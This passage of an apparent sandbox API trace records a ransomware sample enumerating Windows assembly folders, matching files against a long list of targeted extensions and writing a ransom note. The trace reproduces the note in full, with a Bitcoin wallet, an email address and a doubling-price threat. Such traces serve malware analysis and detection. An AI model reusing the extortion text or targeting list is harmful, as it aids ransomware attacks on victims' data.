(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.xls") returned 0 [0100.732] lstrlenA (lpString="*.xls") returned 5 [0100.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.mp4") returned 0 [0100.732] lstrlenA (lpString="*.mp4") returned 5 [0100.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.ppt") returned 0 [0100.732] lstrlenA (lpString="*.ppt") returned 5 [0100.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.pptx") returned 0 [0100.732] lstrlenA (lpString="*.pptx") returned 6 [0100.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.doc") returned 0 [0100.732] lstrlenA (lpString="*.doc") returned 5 [0100.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.dot") returned 0 [0100.732] lstrlenA (lpString="*.dot") returned 5 [0100.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.docx") returned 0 [0100.732] lstrlenA (lpString="*.docx") returned 6 [0100.732] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.7z") returned 0 [0100.733] lstrlenA (lpString="*.7z") returned 4 [0100.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.tar") returned 0 [0100.733] lstrlenA (lpString="*.tar") returned 5 [0100.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.bz2") returned 0 [0100.733] lstrlenA (lpString="*.bz2") returned 5 [0100.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.gz") returned 0 [0100.733] lstrlenA (lpString="*.gz") returned 4 [0100.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.mkv") returned 0 [0100.733] lstrlenA (lpString="*.mkv") returned 5 [0100.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.eml") returned 0 [0100.733] lstrlenA (lpString="*.eml") returned 5 [0100.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.msg") returned 0 [0100.733] lstrlenA (lpString="*.msg") returned 5 [0100.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.edb") returned 0 [0100.733] lstrlenA (lpString="*.edb") returned 5 [0100.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.accdb") returned 0 [0100.733] lstrlenA (lpString="*.accdb") returned 7 [0100.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.odb") returned 0 [0100.733] lstrlenA (lpString="*.odb") returned 5 [0100.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.java") returned 0 [0100.733] lstrlenA (lpString="*.java") returned 6 [0100.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.asm") returned 0 [0100.733] lstrlenA (lpString="*.asm") returned 5 [0100.733] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.pfx") returned 0 [0100.734] lstrlenA (lpString="*.pfx") returned 5 [0100.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.pem") returned 0 [0100.734] lstrlenA (lpString="*.pem") returned 5 [0100.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.p12") returned 0 [0100.734] lstrlenA (lpString="*.p12") returned 5 [0100.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.gpg") returned 0 [0100.734] lstrlenA (lpString="*.gpg") returned 5 [0100.734] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config", pszSpec="*.vsd") returned 0 [0100.734] lstrlenA (lpString="*.vsd") returned 5 [0100.735] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5221e250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5221e250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5221e250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Excel.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0100.735] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.735] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Excel.dll") returned -1 [0100.735] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Excel.dll") returned -1 [0100.735] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Excel.dll") returned -1 [0100.735] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.config") returned="Policy.11.0.Microsoft.Office.Interop.Excel.config" [0100.735] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\" [0100.735] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.735] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.735] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.excel\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0100.735] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Excel.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Excel\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Excel.dll" [0100.736] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5221e250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5221e250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5221e250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Excel.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0100.736] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.736] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5221e250, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa67a3af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa67a3af0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0100.736] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.736] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa66e5410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa66e5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa66e5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0050, dwReserved1=0x69006c, cFileName="Policy.11.0.Microsoft.Office.Interop.Graph", cAlternateFileName="POLICY~1.GRA")) returned 1 [0100.736] lstrcmpA (lpString1=".", lpString2="Policy.11.0.Microsoft.Office.Interop.Graph") returned -1 [0100.736] lstrcmpA (lpString1="..", lpString2="Policy.11.0.Microsoft.Office.Interop.Graph") returned -1 [0100.736] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.736] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Graph" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph" [0100.736] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph") returned 71 [0100.736] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa66e5410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa66e5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa66e5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.737] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.737] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa66e5410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa66e5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa66e5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.737] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.737] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.737] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c15e70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa66bf2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa66bf2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0100.738] lstrcmpA (lpString1=".", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.738] lstrcmpA (lpString1="..", lpString2="14.0.0.0__71e9bce111e9429c") returned -1 [0100.738] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\*.*") returned="*.*" [0100.738] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c" [0100.738] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c") returned 98 [0100.738] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c15e70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa66bf2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa66bf2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x390065, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.741] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.741] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52c15e70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa66bf2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa66bf2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.741] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.741] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.741] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52c15e70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52c15e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52c15e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x382, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.11.0.Microsoft.Office.Interop.Graph.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0100.741] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.741] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Graph.config") returned -1 [0100.741] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.11.0.Microsoft.Office.Interop.Graph.config") returned -1 [0100.741] lstrcmpiA (lpString1="", lpString2="Policy.11.0.Microsoft.Office.Interop.Graph.config") returned -1 [0100.741] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0100.741] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\" [0100.741] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\") returned="" [0100.741] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0100.741] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.graph\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0100.741] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.11.0.microsoft.office.interop.graph\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.743] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.743] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.744] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.745] CloseHandle (hObject=0x90) returned 1 [0100.745] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.11.0.Microsoft.Office.Interop.Graph.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config" [0100.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.ems") returned 0 [0100.745] lstrlenA (lpString="*.ems") returned 5 [0100.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.db") returned 0 [0100.745] lstrlenA (lpString="*.db") returned 4 [0100.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.dbf") returned 0 [0100.745] lstrlenA (lpString="*.dbf") returned 5 [0100.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.myox") returned 0 [0100.745] lstrlenA (lpString="*.myox") returned 6 [0100.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.myo") returned 0 [0100.745] lstrlenA (lpString="*.myo") returned 5 [0100.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.qbw") returned 0 [0100.745] lstrlenA (lpString="*.qbw") returned 5 [0100.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.qbb") returned 0 [0100.745] lstrlenA (lpString="*.qbb") returned 5 [0100.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.qbm") returned 0 [0100.745] lstrlenA (lpString="*.qbm") returned 5 [0100.745] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.qbo") returned 0 [0100.746] lstrlenA (lpString="*.qbo") returned 5 [0100.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.qbx") returned 0 [0100.746] lstrlenA (lpString="*.qbx") returned 5 [0100.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.qba") returned 0 [0100.746] lstrlenA (lpString="*.qba") returned 5 [0100.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.qby") returned 0 [0100.746] lstrlenA (lpString="*.qby") returned 5 [0100.746] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.11.0.Microsoft.Office.Interop.Graph\\14.0.0.0__71e9bce111e9429c\\Policy.11.0.Microsoft.Office.Interop.Graph.config", pszSpec="*.qbj") returned 0 [0100.746] lstrlenA (lpString="*.qbj") returned 5 [0100.746] PathMatchSpecA 